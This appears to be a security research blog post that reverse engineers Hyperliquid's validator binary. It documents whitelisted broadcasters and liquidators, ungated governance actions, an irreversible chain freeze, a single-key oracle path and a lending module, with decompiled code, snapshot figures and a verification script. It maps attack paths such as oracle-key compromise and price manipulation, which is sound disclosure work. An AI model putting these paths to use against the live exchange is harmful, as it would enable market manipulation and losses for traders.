All user transactions must be wrapped in a SignedActionWrapper with a broadcaster field. Submit directly to validators and your transaction is rejected with error TxUnexpectedBroadcaster (case 0x25 at 0x39EA1DA):

1struct SignedActionWrapper {
2 signed_actions: Vec<SignedAction>, // Your cryptographically signed actions
3 broadcaster_nonce: u64, // Replay protection (offset +0x18)
4 broadcaster: [u8; 20], // 20-byte address (offset +0x20)
5}

Three checks: broadcaster in whitelist, nonce valid, EIP-712 signature valid. Your cryptographically perfect transaction gets rejected at the protocol level if it doesn’t route through one of 8 mystery addresses; no public disclosure names the 8 wallets.

0x1e9b90ab34427807dc25c7266beb188e86af7ed6
0x2d9d6ae54b069fd372401b71dc4843d85babe3ea
0x67e451964e0421f6e7d07be784f35c530667c2b3
0x76d335fbd515969ed5facf98611ca6e3ba87ff01
0x90eaf322d6e39adbdca7b632ec2436719a99fcd0
0x940e4f78cfb16e07e1e2ef0994e186bde7e6478c
0xf70a9d9a56fe5c75815a9eae6a8593bc59cb6a06
0xffbb4dfc9455f0df2e973d7a371d8ad994264aa6

The Liquidation Cartel

Liquidations work the same way. The binary reveals allowed_liquidators, a HashSet<Address> in the Clearinghouse structure. Only whitelisted addresses can liquidate; attempting without membership hits InvalidLiquidator. Global across perpetuals, and all margin types.

Normal trades pay 2.5-5 basis points. Whitelist-only access eliminates competition and creates structural advantage for whitelisted liquidators. Two entities bypass the whitelist: defaultLiquidator and BackstopLiquidator. If a single entity controls both, it can delay at the whitelist tier and execute at worse prices via backstop.

Governance Control

Both whitelists are stored in runtime state and modifiable via governance actions. VoteGlobalAction::ModifyBroadcaster (discriminant 0x26) takes a single 20-byte address as payload to modify the broadcaster whitelist. VoteGlobalAction::UserCanLiquidate (discriminant 0x1C) does the same for liquidators.

Both execute via the VoteGlobalAction handler at sub_1F36320. Analysis shows these handlers execute without per-action authorization checks beyond the validator consensus vote. The threshold percentage is not visible in the binary; 2/3 is a common BFT default, but it’s not proven here; neither was a timelock observed, so modifications can execute at the next block after consensus.

If any single entity controls ≥67% of voting power, they can unilaterally modify both whitelists at any block. No transparency mechanism for whitelist state changes.

The Trust Model

Hyperliquid combines:

Permissioned access (whitelist only)
Fee exemption (massive profit boost vs competitors)
Validator co-location (first look at liquidatable positions)
Governance control (can trigger liquidations via parameter changes)
Concentrated governance (single entity can change whitelists if it reaches threshold)

The architecture creates a privileged MEV extraction position for insiders.

Protocol	Liquidator Access	Fee Structure
Compound	Permissionless (anyone)	0% (liquidator keeps spread)
Aave	Permissionless (anyone)	0% (liquidator keeps spread)
dYdX v4	Permissionless (validators)	0% (validator profit)
Hyperliquid	Whitelisted addresses	0% for fwiends 💓

Real-World Exercise

On July 29, 2025, Hyperliquid’s API servers collapsed: 27-37 minute freeze. Users couldn’t open or close trades, exit positions, or withdraw. Liquidations still execute at the protocol layer, so positions remain exposed during outages.

Block production continued uninterrupted. The broadcaster monopoly meant users had no alternative access path. This repeated on July 23, 2025: 37 minutes of downtime.

Optimism’s sequencer is centralized, but it’s an L2; force-include via Ethereum L1. Hyperliquid is an L1. If the 8 broadcasters censor you, there’s no higher authority.

0x3: The Trapdoor

Users can deposit instantly but may never withdraw. The code to freeze your assets exists. The code to unfreeze them does not.

Cancelling Withdrawals

Validators can cancel pending withdrawals via invalidateWithdrawals (case 7 at sub_1F3634D):

1case 7u: // invalidateWithdrawals
2 // Validate withdrawal count ≤ 10000
3 // Iterate over each withdrawal ID
4 // Lookup in bridge state at a3+11128
5 sub_1E3F170(v477, dest); // STATE WRITE at 0x1f3ada9

Bridge state writer at sub_1E3F170:

 1unsigned __int64 __fastcall sub_1E3F170(__int64 a1, __int64 *a2)
 2{
 3 v10 = *a2; // withdrawal count
 4 result = a2[1]; // withdrawal array pointer
 5 v3 = a2[2]; // array length
 6
 7 if ( v3 )
 8 {
 9 v4 = (__int64 *)a2[1];
10 v5 = result + 16 * v3;
11 v12 = *(_QWORD *)(a1 + 11136); // Bridge state base pointer
12 v6 = *(_QWORD *)(a1 + 11144); // Number of buckets
13 do
14 {
15 v7 = *v4; // Withdrawal ID (global index)
16 v8 = *v4 / 0x2710uLL; // Bucket index = ID / 10000
17 if ( v8 >= v6 )
18 {
19 LOWORD(v13[0]) = 312; // Error: bucket out of range
20 core::result::unwrap_failed();
21 }
22 v9 = *((_DWORD *)v4 + 2); // Withdrawal index within bucket
23 a2 = (__int64 *)(v12 + 800 * v8); // Calculate bucket address
24
25 // Modify withdrawal state in BTreeMap
26 result = sub_2ABF640(v14, a2, v7, v9);
27
28 v4 += 2; // Next withdrawal (16-byte stride)
29 }
30 while ( v4 != (__int64 *)v5 );
31 }
32 return result;
33}

BTreeMap mutation at sub_2ABF640:

 1_WORD *__fastcall sub_2ABF640(_WORD *a1, _QWORD *a2, unsigned __int64 a3, unsigned int a4)
 2{
 3 v5 = a3 / 0x2710; // Validate bucket
 4 if ( v5 != a2[6] || (v6 = a3 - 10000 * v5, v6 >= a2[2]) )
 5 sub_121EFD0(&off_47EC130); // Panic: invalid withdrawal ID
 6
 7 v7 = a2[1];
 8 v8 = 48 * v6; // 48 bytes per withdrawal record
 9
10 // THE WRITE:
11 v9 = *(_DWORD *)(v7 + v8 + 24); // Read old index at offset +24
12 *(_DWORD *)(v7 + v8 + 24) = a4; // WRITE new index at offset +24
13
14 *v69 = 352; // Success
15 return v69;
16}

The withdrawal record at bucket_base + 48*local_idx + 24 is mutated by governance.

No authorization is required once the consensus vote reaches this code.

Changing the Bridge Validator Set

Bridge validator set is governance-controlled via AllowedBridgeValidators (case 17 at 0x1F37D9C):

 1; Case 17
 21f37d9c add r15, 8 ; Skip discriminant, point to payload
 31f37da8 call sub_1BE9E60 ; Deserialize Vec<[u8;32]>
 41f37db2 cmp eax, 160h ; Check success
 51f37db7 jnz loc_1F397F1 ; Error if failed
 6
 71f37e11 lea rbx, [r13+3200h] ; Bridge validator state base
 81f37e3f call sub_1C23160 ; Mutate validator set
 9
10; Binary search using memcmp on 32-byte keys
111f37f09 mov edx, 20h ; Compare 32 bytes
121f37f16 call cs:memcmp_ptr

State written to r13+0x3200. Each validator is 32 bytes. The insert function at sub_1C23160:

 1char __fastcall sub_1C23160(__int64 *a1, const void *a2)
 2{
 3 v2 = *a1; // Root node pointer
 4 if ( !*a1 )
 5 return 0; // Empty set
 6
 7 v14 = a1;
 8 v13 = a1[1]; // Tree depth
 9
10LABEL_3:
11 v15 = *(unsigned __int16 *)(v2 + 362); // Entries in node
12 v3 = -1;
13 v4 = 0;
14
15 do
16 {
17 if ( 32 * (_DWORD)v15 == v4 ) // End of node
18 {
19 v3 = v15;
20LABEL_9:
21 if ( !v13 )
22 return 0; // Not found, at leaf
23 --v13;
24 v2 = *(_QWORD *)(v2 + 8 * v3 + 368); // Follow child pointer
25 goto LABEL_3;
26 }
27
28 // Binary search: compare 32-byte validator keys
29 v5 = memcmp(a2, (const void *)(v2 + v4), 0x20u);
30 v6 = (v5 > 0) - ((__int64)v5 < 0);
31 v4 += 32; // Next entry
32 ++v3;
33 }
34 while ( v6 == 1 );
35
36 if ( v6 )
37 goto LABEL_9;
38
39 // Found match - update set
40 v16[0] = v2;
41 v16[1] = v13;
42 v16[2] = v3;
43 v7 = v14;
44 v16[3] = v14;
45 sub_1729780(v17, v16, &v12);
46 --v7[2];
47
48 return 1;
49}

Property	Finding
Authorization	None in handler
Validation	Deserialize only
Application	Instant (no delay)

If a single entity controls ≥2/3 of voting power, they can replace all bridge validators in a single block.

Freezing the entire chain permanently

Exhaustive enumeration of all 89 VoteGlobalAction variants (0x00-0x58) from deserializer at sub_1F40200 shows FreezeChain exists at discriminant 0x20. No UnfreezeChain variant exists.

Other governance actions are reversible via boolean toggles:

HaltPerpTrading (0x22): is_halted: bool
DisableCValidator (0x33): disable: bool
SetEvmEnabled (0x38): boolean flag

FreezeChain takes only a height parameter with no toggle:

1FreezeChain {
2 height: u64, // Block height at which to freeze
3}

State structure:

1struct VisorAbciState {
2 // ... fields ...
3 scheduled_freeze_height: Option<u64>, // Offset 0x4C8 (discriminant), 0x4D0 (value)
4 // ... more fields ...
5 current_height: u64, // Offset 0x2F80
6 // ... more fields ...
7}

From block_proposal_validator at 0x3B8A452:

 1v12 = *(_QWORD *)(a2 + 1224); // Load freeze discriminant
 2v183 = *(_QWORD *)(a2 + 1232); // Load freeze_height
 3
 4if ( v12 == 1 ) { // Freeze is scheduled
 5 if ( v183 < *(_QWORD *)(a2 + 12160) ) // scheduled_height < current_height
 6 core::panicking::panic(...); // Cannot schedule freeze in past
 7
 8 if ( v183 == *(_QWORD *)(a2 + 12160) ) // AT freeze height
 9 core::panicking::panic(...); // assertion failed: !self.state.is_frozen()
10}

When current_height == scheduled_freeze_height, panic aborts block validation. No blocks can be proposed or accepted. Chain cannot advance past freeze height.

From check_and_handle_scheduled_freeze at 0x1C899C0:

 1v1 = *(uint64_t *)(a1 + 0x2F80); // Load current_height
 2if ( *(uint32_t *)(a1 + 0x4C8) == 1 ) { // Option discriminant == Some
 3 v2 = *(uint64_t *)(a1 + 0x4D0); // Load freeze_height value
 4 if ( v2 <= v1 ) {
 5 bool exact_match = (v2 == v1);
 6 bool periodic = (ROR8(0xD288CE703AFB7E91LL * v1, 4) < 0x68DB8BAC710CCuLL);
 7
 8 v3 = exact_match | periodic;
 9 if ( exact_match ) {
10 v5 = "freeze";
11 write_freeze_marker("/hyperliquid_data/freeze_abci_height");
12 } else {
13 v5 = "periodic";
14 }
15 log_freeze_event(a1, v5, ...);
16 save_checkpoint(state);
17 }
18}

Freezing requires a governance vote. Unfreezing requires manual operator intervention: stopping validators, deleting /hyperliquid_data/freeze_abci_height, patching state databases, coordinating restart. No on-chain evidence, no audit trail.

The POPCAT Incident (November 2025)

On November 12, 2025, Hyperliquid froze all Arbitrum deposits and withdrawals:

Attacker created ~$20-30M leveraged long on POPCAT
Placed massive buy orders to prop up price
Withdrew orders, triggering cascading liquidations
HLP vault absorbed $4.9M in bad debt

Response: froze all deposits and withdrawals platform-wide, labeled as “maintenance,” resumed ~2 hours later. Third manipulation attack in 2025.

Sounds familiar?

0x4: The Magic 8 Ball

A single compromised address can set arbitrary prices on all markets: instant liquidation cascades, no timelock, no deviation limits, no multi-sig.

Derivatives exchanges live or die by their oracles. Get the price wrong and positions liquidate instantly. Get it maliciously wrong: billions evaporate in seconds.

The Single Point of Total Failure

The oracle_updater field is a single privileged address controlling price feeds for the entire exchange. Not a multi-sig. Not a decentralized oracle network. One wallet’s private key.

The Hip3Deploy governance action at sub_1F28050 (a 180KB function handling all 89 variants) contains variant 2: SetOracle.

Let’s trace what happens when it executes.

Execution Path

Entry: VoteGlobalAction dispatcher at sub_1F36320

Oracle Dispatcher:

 1__int64 sub_3DDC500(__int64 result, __int64 *state_tree,
 2 __int128 *perp_config, __int64 action_data,
 3 char should_validate)
 4{
 5 // Extract market key (compared as 20 bytes via memcmp below)
 6 s1 = *(_OWORD *)(action_data + 32);
 7
 8 // Binary search BTree for market at state+272
 9 v6 = state_tree[3];
10 v7 = (char *)(v6 + 272);
11 do {
12 v11 = memcmp(&s1, v7, 0x14u); // Compare 20-byte addresses
13 v12 = (v11 > 0) - ((__int64)v11 < 0);
14 v7 += 20;
15 } while ( v12 == 1 );
16
17 // CRITICAL: Validation is OPTIONAL
18 if ( should_validate && market_found ) {
19 sub_303AE10(result, &s1, 0, timestamp, state_ptr);
20 if ( result_code != 352 ) {
21 // ... validation failed ...
22 return error;
23 }
24 }
25 // If should_validate = 0, the handler skips the sub_303AE10 validation step
26 return success;
27}

See that should_validate parameter? When false, oracle prices write directly to state. No checks whatsoever.

Oracle Update Validator:

 1__int64 sub_303AE10(__int64 result, unsigned int *timestamp,
 2 int is_testnet, unsigned __int64 current_time,
 3 __int64 *market_state)
 4{
 5 // Rate limit based on environment
 6 if ( is_testnet == 0 )
 7 rate_limit = 100; // 100ms vs 400ms
 8 else
 9 rate_limit = 400;
10
11 // Check rate limit
12 if ( market_state[2] >= rate_limit ) {
13 if ( current_time < last_update_time ) {
14 *(_WORD *)result = 195; // "Oracle price update too often"
15 return result;
16 }
17 }
18
19 // Timestamp bounds (within 24h window)
20 sub_11C4770(&calc, timestamp + 1, 86400, 0);
21 v21 = 86400LL * (date_calc) + v14;
22 v23 = 1000 * v21 + v22 - 62135683200000LL; // Epoch ms
23
24 // No future timestamps
25 if ( current_time > v23 ) {
26 *(_WORD *)result = 195;
27 return result;
28 }
29
30 // No duplicate timestamps
31 v38 = *market_state;
32 if ( v38 ) {
33 do {
34 if ( current_time == existing_timestamp ) {
35 *(_WORD *)result = 196;
36 return result;
37 }
38 } while ( searching );
39 }
40
41 // SUCCESS - caller proceeds to write price to state
42 *(_WORD *)result = 352;
43 return result;
44}

What gets checked:

Rate limit: ≥100ms (testnet) or ≥400ms (production) between updates
Timestamp in valid date range
No future timestamps
No duplicate timestamps

What doesn’t get checked:

Price magnitude
Price deviation from previous values
Validator signatures
Authorization

The struct from protocol analysis:

 1/// Hip3DeployAction variant 2: SetOracle
 2/// Handler: 0x1F28050, case 2
 3SetOracle {
 4 /// +0x38: Address of the oracle updater
 5 oracle_addr: [u8; 20],
 6
 7 /// +0x08: Vec of signed 64-bit prices
 8 /// NO maximum/minimum bounds
 9 oracle_pxs: Vec<i64>,
10
11 /// +0x50: Oracle metadata
12 oracle_data: OracleData,
13
14 /// +0x20: External perpetual prices
15 external_perp_px: ExternalPerpPx,
16}

No execution_time, no delay_blocks, no timelock_expiry. Prices write to state in the same block.

Governance Overrides

Even if oracle_updater is honest, governance bypasses every safety check.

OverrideMaxSignedDistancesFromOracle: Normal behavior: if oracle reports ETH at $3,000 but mark price is $3,500, reject. With override: governance sets deviation limit to any value. Want 1000% deviation from market reality? Done.

OverrideIsolatedSpotDistances & OverrideIsolatedExternalDistances control liquidation thresholds for isolated margin. Governance can reduce safety margins to zero: a 5% move required to liquidate a 20x position becomes 0.1%.

OverrideFundingImpactUsd: Funding rates keep perp prices anchored to spot. Override to zero and massive open interest imbalances produce no funding payments. Open 100,000 ETH long, manipulate oracle to $10,000, close for $650M profit, pay zero funding.

Industry Comparison

Every legitimate protocol learned from Mango Markets ($110M, Oct 2022) and Cream Finance ($130M, Oct 2021). Industry standard: multiple independent oracles, timelocks, deviation caps, multi-sig, circuit breakers.

Protocol	Oracle Sources	Update Delay	Deviation Cap	Multi-sig	Override
Hyperliquid	1 (oracle_updater)	None	Bypassable	No (single addr)	Unlimited, instant
dYdX v4	5 feeds	1 hour	±10%	3-of-5	Capped, 7-day vote
GMX v2	Chainlink	N/A	±2.5%	2-of-3	None exists
Synthetix	Chainlink + Pyth	15 min	±10% circuit	4-of-7	48h timelock
Aave v3	Chainlink + fallback	Grace period	Staleness check	Guardian	24h+ delay

Attack Surface

Compromise oracle_updater private key. Phishing, infrastructure breach, insider. Instant arbitrary prices on all markets.
Governance. If a single entity controls the voting threshold, it can replace oracle_updater or submit SetOracle directly.
Combine with liquidation cartel. Whitelisted liquidators co-located with validators see liquidatable positions before oracle update broadcasts, pre-position to capture, zero fees maximize extraction.

Real-World Exercise: JELLY (March 2025)

Everything documented above was exercised in production on March 26, 2025.

A trader exploited the oracle system via JELLYJELLY: deposited $7.17M, opened $6M short (20x on a $20M market cap token), pumped spot on Bybit to distort the oracle feed, forced self-liquidation. HLP absorbed $12M unrealized losses.

Hyperliquid’s response:

Unilaterally delisted JELLYJELLY: no visible governance vote
Overrode oracle price to $0.0095 (vs $0.50 market)
Force-settled all positions at validator-chosen price
Froze attacker’s withdrawals ($6.26M of $7.17M escaped before freeze)

The attacker manipulated external markets; Hyperliquid manipulated their own oracle. Same capability, different beneficiary.

Arthur Hayes commented: “Let’s stop pretending Hyperliquid is decentralized.”

Bitget CEO Gracy Chen called it “potentially FTX 2.0” (referring to centralized failure modes, not criminal fraud).

Every position on Hyperliquid is one compromised private key away from forced liquidation. Your 2x leveraged long with 50% safety margin can be liquidated at an artificial price. You can’t withdraw during the attack (3-second window), can’t prove manipulation (it’s in consensus state), can’t appeal (liquidations are final), and can’t mitigate it via decentralization if governance is concentrated.

One key. One block. One irreversible cascade.

0x5: The Black Hole

Governance proposals are stored but unqueryable. Users see votes happened but cannot verify what was proposed. The most destructive operations leave no audit trail.

Hyperliquid’s most powerful governance actions leave no trace. Validators vote on proposals users cannot read, execute changes users cannot see, and suppress warnings users have no way to verify.

VoteGlobalAction Effects Are Invisible

Governance execution bypasses the LedgerUpdate logging system. While the binary includes logging infrastructure (forward_ledger_update_from_state at 0x38de5f0) that emits events for user actions, VoteGlobalAction execution (handler at 0x1f36320) directly modifies consensus state without calling logging functions. The --write-system-and-core-writer-actions flag enables logging for CoreWriter privileged actions (System actions), but VoteGlobalAction variants (89 types including QuarantineUser, FreezeChain, ModifyBroadcaster, SetReserveAccumulator) execute through the consensus vote path and leave no LedgerUpdate entries.

The platform’s most destructive operations leave no record. Minting is traceable. Freezing accounts is not. Changing interest rate accumulators is not. Modifying the broadcaster whitelist is not. State changes are permanent and invisible to the public userNonFundingLedgerUpdates API.

System Actions and Silent Balance Modifications

System-initiated balance changes occur through two distinct mechanisms with different visibility:

User-triggered internal transfers: Operations like withdrawals or cross-margin adjustments emit internalTransfer LedgerUpdates (type 0x0A), which appear in the public userNonFundingLedgerUpdates API. The effect is visible, and the cause is a user-signed action.

System action balance modifications: Privileged System actions (SystemUsdClassTransfer) directly modify account balances without emitting ANY LedgerUpdate events. These operations bypass the logging infrastructure entirely. Balance changes occur with no corresponding entry in userNonFundingLedgerUpdates and no logged cause.

Users querying the API will see balance discrepancies with no explanation when System actions execute. The --write-system-and-core-writer-actions flag can log some execution to disk, but pretty much no documentation exists about it, nor about what it would log in the first place.

0x6: The Shadow Bank

Hidden leverage risk. Users trading perpetuals unknowingly interact with undisclosed lending infrastructure that could amplify systemic risk during market stress.

You thought you were trading perpetual futures. Turns out, you’ve been sitting on top of a fully-deployed, undisclosed lending protocol the entire time: complete with borrow/supply/repay/withdraw operations, interest rate curves, governance-controlled reserve parameters, and integrated liquidation infrastructure.

Update (Dec 22): This section originally characterized BOLE as an undisclosed protocol. As @hermithype pointed out, a lending feature called “BLP” was publicly tested on testnet during pre-alpha. The core concern remains: this infrastructure is live on mainnet with $1M+ in deposits, active API endpoints returning real user data, and no prominent documentation informing current users that a borrow/lend system operates alongside the perpetual exchange in mainnet.

Discovery

Buried in the binary is a structure definition: struct BolePool with 8 elements. Cross-referencing reveals the complete infrastructure of an Aave-style borrow/lend protocol internally codenamed “Bole” with kink model interest rate curves.

The governance action SetBole (VoteGlobalAction discriminant 0x50) controls the entire system:

1/// VoteGlobalAction case 0x50
2/// Serialized as "setBole" in governance payloads
3SetBole {
4 pool_config: BolePoolConfig,
5 interest_rate_model: KinkModel,
6 reserve_factor: u64,
7 liquidation_bonus: u64,
8}

The API Is Live

The protocol is live on mainnet with active pools holding real user funds:

 1# Query all borrow/lend pool states
 2curl -s https://api.hyperliquid.xyz/info \
 3 -H "Content-Type: application/json" \
 4 -d '{"type":"allBorrowLendReserveStates"}'
 5
 6# Response (December 2025):
 7[
 8 [0, {
 9 "totalSupplied": "1002666.00863692",
10 "totalBorrowed": "497.8765043",
11 "borrowYearlyRate": "0.05",
12 "supplyYearlyRate": "0.0000223449",
13 "utilization": "0.0004965527",
14 "oraclePx": "1.0",
15 "ltv": "0.0"
16 }],
17 [150, {
18 "totalSupplied": "45.91215326",
19 "totalBorrowed": "0.0",
20 "borrowYearlyRate": "0.05",
21 "supplyYearlyRate": "0.0",
22 "balance": "45.91215326",
23 "utilization": "0.0",
24 "oraclePx": "24.355",
25 "ltv": "0.5"
26 }]
27]

Pool 0 (USDC): Over $1M supplied, with active borrows ($497.88) accruing interest at 5% APY. Pool 150: $1,100+ in collateral (45.91 tokens @ $24.36/unit) with 50% LTV ratio configured.

User-facing L1 action exists (L1 ActionType discriminant 0x49, “BorrowLend”) with operations for supply/borrow/repay/withdraw. API handlers exposed: borrowLendUserState (info type case 0x27) returns per-user positions, allBorrowLendReserveStates (info type case 0x29) returns all pool states.

Why This Matters

Undisclosed Risk: Users depositing into HLP or trading perpetuals don’t know their counterparty might be leveraged through an internal lending system

Documentation Gap: While early testnet participants may have been aware of BLP, the feature’s evolution to “BOLE” and its current mainnet deployment aren’t reflected in user-facing documentation. The API endpoints (allBorrowLendReserveStates, borrowLendUserState) are live and returning production data
Hidden Leverage Risk: Mainnet data shows $1M+ in supplied assets with configured LTV ratios (50% for token 150). If BOLE collateral integrates with perp margin calculations, users could:
- Supply token A to BOLE pool
- Borrow USDC at 50% LTV
- Trade perps with borrowed USDC
- Effectively leverage spot holdings into perp exposure
This creates systemic amplification: market crash in token A triggers BOLE liquidation, forced USDC repayment, perp position liquidation, and cascade across both systems. Oracle price feeds (oraclePx field in API response) create shared dependency between lending LTV calculations and perp margin requirements.
No Audit: The Zellic bridge audit covers the Ethereum bridge contract, not the L1 lending system
Governance Control: Governance can modify interest rates, LTV ratios, and liquidation parameters via SetBole (VoteGlobalAction 0x50) votes. If a single entity controls the voting threshold, it can:
- Lower liquidation thresholds (increase LTV)
- Reduce interest rates (encourage borrowing)
- Modify oracle feeds (separate VoteGlobalAction)
- Amplify systemic leverage without user notification

This isn’t a prototype or testing infrastructure. It’s a production-ready lending protocol running alongside the perpetual exchange, with no public documentation, no user disclosure, and no external audit.

0x7: Closing Thoughts

I expected the usual DeFi compromises: admin keys, upgrades, emergency controls. Every protocol has them. I think what I found was a bit different.

Every finding required binary reverse engineering. If the source were open, the TestnetSetYesterdayUserVlm transaction type, freeze-without-unfreeze asymmetry, 8-wallet broadcaster monopoly, hidden lending protocol – all would be public.

Not open-sourcing a decentralized protocol goes against the entire ethos of it. It is not about security. It is about hiding what the system actually does.

Now that we established that the trust assumptions look like this:

The execution_sender key holder won’t mint tokens or steal funds
The Foundation won’t vote to freeze the chain and vanish
The 8 broadcasters won’t censor transactions
The whitelisted liquidators won’t front-run positions
The oracle updater won’t manipulate prices
Bridge withdrawals won’t face indefinite censorship
Accrued interest won’t vanish via accumulator override
Governance proposals match claims (unverifiable)
The BOLE lending protocol won’t amplify systemic risk

If you have funds on Hyperliquid, I’d like to ask you dear reader, did you even know any of this?

Draw your own conclusions.

All findings are based on analysis of the Hyperliquid validator binary and L1 state snapshots. Addresses and state queries provided for independent verification.

Sources

I’ve spent this entire post documenting how Hyperliquid fails to be verifiable where it matters, but credit where it’s due: they do use cryptography in one place that matters.

The hl-node binary is GPG-signed by Hyperliquid, which is distributed via their validator onboarding process. That signature cryptographically proves they shipped TestnetSetYesterdayUserVlm.

For once, good use of crypto!

File	Description
`hl-node-v76`	Validator binary (72.4 MiB, ELF x86-64, signed Dec 2025)
`hl-node-v76.sig`	Detached GPG signature from Hyperliquid Foundation
`hyperfoundation-pubkey.asc`	Hyperliquid’s GPG public key (`CF2C2EA3`)

Binary hash: SHA256: 1c2911eda8d82b8b6d0569676e0afa841c76976db4acedd29674b15a3349ee1a

All addresses referenced in this post are for hl-node-v76. Addresses may differ across releases.

1export GNUPGHOME=$(mktemp -d)
2gpg --import hyperfoundation-pubkey.asc
3gpg --verify hl-node-v76.sig hl-node-v76

Resolved

0x0:0x0: The $362M Gap

~~The on-chain ledger shows $362M more in user claims than exists in the bridge. If everyone tried to withdraw, someone wouldn’t get paid.~~

Update (Dec 22): As @cainosullivan pointed out, the gap is accounted for, by Circle’s CoreDepositWallet on HyperEVM, which holds ~$362M in native USDC. The bridge was indeed “insolvent”, but users are still able to go through HyperEVM’s native USDC path to withdraw.

User claims exceed the bridge by $362,454,741.25. At the same snapshot, HLP’s on-chain account value is $377.69M against $2.51M net deposits, implying $375.17M in gains. HLP is documented as the protocol’s backstop counterparty: “When a trader’s order cannot find an immediate match, the HLP vault can take the opposite side of the trade”. During the JELLY incident, “HLP acts as the counterparty for all trades on the platform” absorbed the toxic position.

If HLP is the primary counterparty, you’d expect aggregate trader PnL and HLP PnL to be strongly anti-correlated absent external hedging or off-ledger loss absorption. The observed state (trader claims +$362M above bridge, HLP gains +$375M) contradicts that expectation unless: (1) other market makers absorb losses off-ledger, (2) minted USDC (SystemAlignedQuoteSupplyDelta) inflates balances, (3) total_net_deposit includes non-withdrawable components (fees, unrealized PnL adjustments), or (4) HLP’s gains came from liquidation penalties and fees rather than counterparty PnL. External market makers certainly exist; the problem is opacity, which makes the actual loss distribution unverifiable.

Expected state:

Traders deposit $X via bridge
Traders collectively lose $Y to HLP
HLP account: +$Y
Trader claims: $X - $Y
Bridge balance: $X
Claims should be ≤ bridge

Observed state (2025-12-19T08:04:17.669123161):

Metric	Value
Bridge balance (`bridge_config.bal`, 6 decimals)	$4,011,884,542.58
Perp net deposit (`perp_dex_meta.total_net_deposit`)	$3,728,669,722.77
Spot USDC (`spot_user_states`, token 0)	$645,669,561.06
Total claims (perp + spot)	$4,374,339,283.83
Excess (claims − bridge)	$362,454,741.25

HLP vault state (0xdfc24b077bc1425ad1dea75bcb6f8158e10df303):

Metric	Value
HLP deposits (`vaults: 0xdfc24b...`, `user_states.n`)	$2,511,622.12
HLP `start_of_day_account_value`	$377,686,137.67
HLP “gains” (value − deposits)	$375,174,515.54

Perpetual trading is zero-sum for realized PnL between counterparties, but fees, liquidations, and external hedging can move the numbers. Treat this as an invariant check, not a standalone proof of insolvency. However, the on-chain solvency test of “can the bridge cover all claims?” fails.

Appendix

Reproducing the accounting gap

Export the snapshot and convert to SQLite with the provided script state_to_sqlite.py:

1python3 state_to_sqlite.py abci_state.rmp state.db

Spot balances are stored as JSON in spot_user_states.data. The structure is {"b": [[token_id, {"t": total, "e": escrow}], ...]}. Token 0 is USDC:

 1import json, sqlite3
 2
 3conn = sqlite3.connect("state.db")
 4cur = conn.cursor()
 5
 6# Get vault addresses to exclude (vaults are separate from user claims)
 7vaults = {row[0] for row in cur.execute("SELECT address FROM vaults")}
 8
 9# System/internal addresses
10exclude = vaults | {
11 "0x2000000000000000000000000000000000000000", # system spot
12 "0x0000000000000000000000000000000000000000", # zero address
13 "0xffffffffffffffffffffffffffffffffffffffff", # max address
14}
15
16total = 0
17for addr, data in cur.execute("SELECT address, data FROM spot_user_states"):
18 if addr in exclude:
19 continue
20 state = json.loads(data)
21 for entry in state.get("b", []): # "b" = balances array
22 if isinstance(entry, list) and len(entry) >= 2:
23 token_id, bal = entry[0], entry[1]
24 if token_id == 0: # USDC (8 decimals in spot)
25 total += int(bal.get("t", 0)) # "t" = total
26
27print(f"Spot USDC: ${total / 1e8:,.2f}")

Double-counting check: Perp total_net_deposit is an aggregate counter, not derived from individual positions. Spot balances in spot_user_states are separate from perp margin. Verify by sampling: users with spot USDC should not have that same balance counted in their perp margin.

All Transaction Actions

Every user-initiated operation on Hyperliquid corresponds to one of these action types. Extracted from binary analysis of hl-node.

Trading Actions

Action	Fields	Description
`Order`	orders, grouping, builder?	Place orders (limit, market, trigger)
`BatchModify`	(nested)	Batch order modifications
`Cancel`	cancels: [{a, o}]	Cancel by asset+oid
`CancelByCloid`	cancels: [{asset, cloid}]	Cancel by client order ID
`Liquidate`	liquidator_to_assets, defaultLiquidator, requests	Liquidation action
`TwapOrder`	twap params	Time-weighted average price order
`TwapCancel`	twapId, a	Cancel TWAP order
`UpdateUserLeverage`	asset, isCross, leverage	Change leverage
`UpdateIsolatedMargin`	asset, isBuy, ntli	Update isolated margin
`TopUpStrictIsolatedMargin`	asset, ntl	Top up strict isolated margin
`ModifyNetChildVaultPositions`	childVaultAddresses, assets	Vault position netting
`ScheduleCancel`	(trigger params)	Schedule order cancellation
`ApproveBuilderFee`	builder, maxFeeRate	Approve builder fee
`StartFeeTrial`	perpAddBaseRate, perpCrossBaseRate, spotAddBaseRate, spotCrossBaseRate	Start fee trial

Transfer Actions

Action	Fields	Description
`UsdSend`	destination, amount, signatureChainId	Send USDC
`SpotSend`	destination, token, amount	Send spot token
`SendAsset`	destination, sourceDex, destinationDex, token, amount, fromSubAccount, nonce, maxFeeRate, builder	Cross-DEX asset send
`SubAccountTransfer`	subAccountUser, isDeposit, usd	Transfer to/from sub-account
`SubAccountSpotTransfer`	subAccountUser, token, amount, isDeposit	Spot token sub-account transfer
`UsdClassTransfer`	(params)	Move USDC between perp/spot
`SystemSpotSend`	destination, token, ntl, toPerp	System spot send
`SystemSendAsset`	destination, sourceDexOrSpot, destinationDexOrSpot, wei, isMint, …	System asset send
`SystemUsdClassTransfer`	ntl, (params)	System USD class transfer

Account Management

Action	Fields	Description
`ApproveAgent3`	agentAddress, agentName, nonce, expiry?	Approve trading agent
`CreateSubAccount`	name	Create sub-account
`SetDisplayName`	displayName	Set user display name
`SetReferrer`	code	Set referrer code
`RegisterReferrer`	code	Register as referrer
`LinkStakingUser`	(fields)	Link trading to staking user
`ConvertToMultiSigUser`	signers, threshold, nonce	Convert to multisig

Vault Operations

Action	Fields	Description
`CreateVault`	name, description, initialUsd, frozenUser?	Create HLP vault
`VaultTransfer`	vaultAddress, isDeposit, usd	Deposit/withdraw vault
`VaultDistribute`	vaultAddress, usd	Distribute vault profits
`VaultModify`	vaultAddress, allowDeposits, alwaysCloseOnWithdraw	Modify vault settings
`VoteGlobal`	(vault modification)	Vote on vault parameters
`ModifyNetChildVaultPositions`	childVaultAddresses, assets	Modify child vault positions

Staking (C-Layer)

Action	Fields	Description
`TokenDelegate`	validator, wei, isUndelegate	Delegate/undelegate HYPE
`ClaimRewards`	(none)	Claim staking rewards
`CWithdraw`	destination, wei, usd, builder?	Withdraw from staking
`CUserModify`	extendLongTermStaking, profile	Modify staking user
`CSigner`	(signer action)	C-signer operations

Governance

Action	Fields	Description
`GovPropose`	title, description, category, …	Create governance proposal
`GovVote`	id, choice	Vote on proposal
`VoteGlobal`	(params)	Vote on global parameters

Validator Operations

Action	Fields	Description
